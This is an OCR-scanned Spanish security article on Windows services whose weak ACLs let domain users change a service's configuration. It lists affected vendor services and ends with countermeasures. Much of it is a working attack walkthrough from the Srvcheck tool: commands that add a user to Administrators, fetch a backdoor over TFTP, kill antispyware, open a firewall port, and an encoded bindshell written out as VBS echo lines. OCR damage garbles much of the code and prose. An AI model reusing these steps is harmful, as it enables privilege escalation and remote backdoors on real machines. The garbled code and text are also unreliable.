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Introduccion:

Todos los recursos de sistemas basados en NT tienen listas de control de acceso que
especifican que usuarios pueden acceder a ellos. Los servicios del sistema operativo
también poseen su propia ACL, asignada a la clave del registro
HKLM\SYSTEM\CurrentControlSet\Services\serviceName Yy cuya funcidn es especificar que
roles de usuario pueden modificar su configuracion. Una gestion incorrecta de estas

ACLs puede permitir accesos no autorizados a nuestro sistema.
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Esto supone un también grave riesgo para la seguridad dado que un servicio
deshabilitado, que hasta la fecha no era considerado un vector de ataque [2], puede ser
modificado para forzar la ejecucién de comandos.
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Servicios de Windows afectados en configuraciones por defecto

Los servicios de Microsoft Windows, mostrados en la imagen anterior, estan afectados
en las configuraciones por defecto aunque la presencia de esta vulnerabilidad puede
depender en gran medida de las plantillas administrativas implantadas en el sistema.
De esta forma, una plantilla administrativa desarrollada en un sistema Windows XP SP1
e implantada sobre un sistema XP SP2 puede provocar que esa version pase a estar
afectada.



Anélisis de la vulnerabilidad:

El impacto de este fallo de configuracion de los servicios de sistemas Windows, y que
también afecta a software de otros fabricantes, supone que en entornos corporativos, en
los que los equipos de usuario y servidores estan integrados en el dominio, un usuario
puede conectarse con el sistema vulnerable, haciendo uso de sus credenciales de usuario
del dominio. Esta conexidn garantizara al usuario de forma automatica el rol de
“usuario autenticado” en el sistema remoto. Este rol le permitira modificar la
configuracién del servicio.

HP Software: "Pml Driver HPZ12" (HP Printer Laserjet 4200L PCL 6)

Audodesk: "Autodesk Licensing Service"

Dell Power Managment Software for network cards: "NICCONFIGSVC"

Macromedia: "Macromedia Licensing Service"

Zonelabs.com TrueVector Device Driver: "vsdatant"

C-Dilla Software: "C-DillaCdaC11BA"

Macrovision SECURITY Driver (Security Windows NT): "CdaC15BA"

Macrovision SECURITY Driver (Security Windows NT): "SecDrv"

Servicios de otros fabricantes que garantizan permisos de modificacion a Everyone

Los requisitos para establecer esta conexion son:
1- El modulo de Cliente para redes Microsoft esta habilitado.
2- Se garantice al usuario el inicio de sesion por red (por defecto “Usuarios del
dominio”.WNetAddConnection2(&NET pass,user, CONNECT_COMMANDLINE);
3- No existe ningun firewall que impida la comunicacién con el puerto 135 TCP

4- El usuario no tiene privilegios anonimos en el sistema SCM =
OpenSCManager(host, NULL,STANDARD_RIGHTS_WRITE | SERVICE_START);

Una vez que la conexion con el “Service Control Manager” se ha llevado a cabo de
forma satisfactoria, es posible modificar la configuracion del servicio con la siguiente
API del sistema:

ChangeServiceConfig(
Svc,SERVICE_NO_CHANGE,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE firewall,NULL,NULL,"",
NULL,NULL,NULL);

Si el servicio tiene una ACL incorrecta, esta llamada se ejecutara con éxito y la
configuracién del servicio serd modificada. Especialmente interesante es modificar el
parametro de ejecuciéon establecido el tipo AUTO_START

Llegados a este punto, tenemos que afrontar una serie de decisiones importantes que
podrian permitir ganar acceso al sistema.

1- ¢Qué queremos ejecutar?
a. Comandos del sistema (net localgroup Administrators Domain\test /add)
b. Bindshell (problematica con firewall de Windows XP)
c. Transferencia de aplicaciones

2- ¢Como vamos a transferir nuestras aplicaciones?
a. Script FTP (echo user ftp >a & echo pass anonymous@foo >>a.txt & ..)
b. TFTP, (tftp —i GET backdoor.exe host)
c. Echo (echo texto >>fichero)




d. Reverse telnet (telnet —f \logfile.vbs )
3- ¢Que permisos en el sistema de archivos debemos tener para llevar a cabo
esta tarea?
a. Escribir, Lecturay ejecucion.
b. Garantizar escritura a System y Local Service.

Los servicios que vayamos a modificar suelen ejecutarse como SYSTEM o Local
Service por lo que es prioritario que nuestro cddigo sea capaz de acceder al disco para
guardar nuestro codigo ejecutable.

La configuracion por defecto de Windows XP, no garantiza al usuario Local Service
escritura en el directorio raiz pero por el contrario si que le permite crear directorios.
Esto puede ser utilizado para crear una carpeta en el directorio raiz dentro de la cual, al
garantizarse privilegios totales al grupo “Creator Owner”, podremos escribir sin
restricciones.

Nuestro primer objetivo sera crear dicha carpeta y, para garantizar que el software
Microsoft Antispyware no pueda interceptar nuestras acciones, mataremos el proceso y
afladiremos una nueva entrada en el firewall de Windows XP permitiendo el acceso al
puerto que usara nuestra puerta trasera.

s<Remove previously created files

char init[]="cmd e=ze ~c rd ~Q -5 “=ervicios";

char antispyware[]="taskkill exe ~IH gcasDtServ. exe";

char firewall[]="cmd. exe -c netsh firewall add portopening TCE 8080 SrvCheck ENABLE ALL":
char create[]="cnd. exe ~c nd “=servicio="||

Con respecto a la transferencia de ficheros, vamos a considerar la posibilidad de que no
tengamos permisos de ejecucion sobre ftp.exe, tftp.exe y telnet.exe por lo que haremos
uso unicamente del comando cmd.exe. La shell del sistema (cmd.exe) nos permite
escribir en ficheros haciendo uso del comando echo. Para poder transferir un fichero
binario debemos convertirlo antes a ASCII (usando por ejemplo exe2vbs[3]) que genera
un script .vbs ejecutable que contiene nuestra aplicacion.

Una vez convertida nuestra aplicacion, podemos modificar el servicio de forma que
ejecute nuestro script, que contendra varias entradas como:
cmd.exe /c echo “cadena del binario” >> \servicios\backdoor.vbs

Srvcheck [4] realiza estas tareas transfiriendo una bindshell de 800 bytes, convertida a
vbs, en una unica peticion permitiendo automatizar las fases de analisis y ataque en un
test de intrusion.

char EncodedBackdoor[]=

"cnd .exe /c omd SNHER && " /Final Bindshell-code iz an B04 bytes binary

#+Encoded with Tarako Exelvbz (http: . www haxorcitos. com)

"echo f£= ~"8585221z8zE0000F010B01060048=32BCz7=C0010000C0010000080224=400004=3=04=22403000028~" »~~HER"~a .vbz && "

"echo f=f & “"02z6z02z521F70z4z4623=C001000048z232C001214z200000602E01543426232080823268022142402E54 " >\ \HER  a. vhe &f
"echo f=f “& ~"024Bzdz04z3z20030000057402400033F6565656040604010402FF15700240008BD35F06410505365F002 " » > 0 R a. . vb &k
"echo f=f & “"006ACT45F21F308975F4FF157308D454C505656566A015656682003400056C7454C44008975DCCT4EDR01N" 5>\ HER  a. vhs &f
"echo f=f “& ~"0100008975B38975B480008024zCC022102zF202000070020000C40221021003000068222FE02z6zE40200%" » > HER " a.vbs &k
"echo f=f "& ~"00730000800200008000043726561746550726FA36573734100004B45524E454C333226C0C24z03606400%" 5>\ HER 8. vhs &f
"echo 1=1 : t = %" : While i%<=len(f) : If mid(f.1,1) = ~"z\" theny»HER“a.vbs &k "

"echo a=i+l @ k = 0 : while nid(f,a 1)"¢"sn"zn" ¢ k = k*10 + nid(f,a,1) : a = a+l : WEnd : i = a+l : for a=l to k : t =
"echo Elself mid(f.i,1) "¢"y ~"zn" then @ t = t “& nid(f.1.2) : 1 = 142 »»HERa.vhs &k "

"echo end if : WEnd : Set o = CreateObject(“"Scripting FileSystemObject™") »»HERE““a. vbs &b "

"echo Set n o= o CreateTextFile(™"HER“\a exe™', Forlriting) @ 1 =1 : while 1 "¢ len(t)»»“HER“\a.vhs &k °

"echo £ o= Int(“UEEN" "6 Midit, 1, 23 : n Weite(Chr(f)) : i = i+2 : WEnd : n.Close>»\HER\‘a.vbs & "

"echo Set s=Createlbject (“"VScript.Shell~") . s.run(“"““HEEwwa.exen" )y HIRN G, vbs &bk"

O HERa . whe B



La correcta ejecucion de esta herramienta permitira, tras descomprimirse el fichero vbs,
obtener una shell interactiva en los sistemas de un dominio e incluso la elevacioén local
de privilegios.

Contramedidas:
Analizando el funcionamiento de la herramienta Srvcheck es posible definir una serie
de contramedidas que nos ayuden a evitar fallos de seguridad como este.

1- No permitir el inicio de sesion por red a usuarios del dominio: Utilizar una
ACL mas restrictiva.

2- Denegar permisos de escritura a SYSTEM y Local Service en el directorio raiz
del disco.

3- Denegar el acceso a las aplicaciones cmd.exe, ftp.exe, tftp.exe y telnet.exe
(en el caso de ser necesario, renombrarlas y hacer uso de las copias de las
aplicaciones)

4- Verificar las ACLS de los servicios.

5- No utilizar Roles de “usuarios Avanzados” o “Operadores de Red” dado que los
permisos de determinados servicios permiten la elevacion de privilegios local y
remotamente.

6- Aplicar el boletin de seguridad de Microsoft de Marzo [5]
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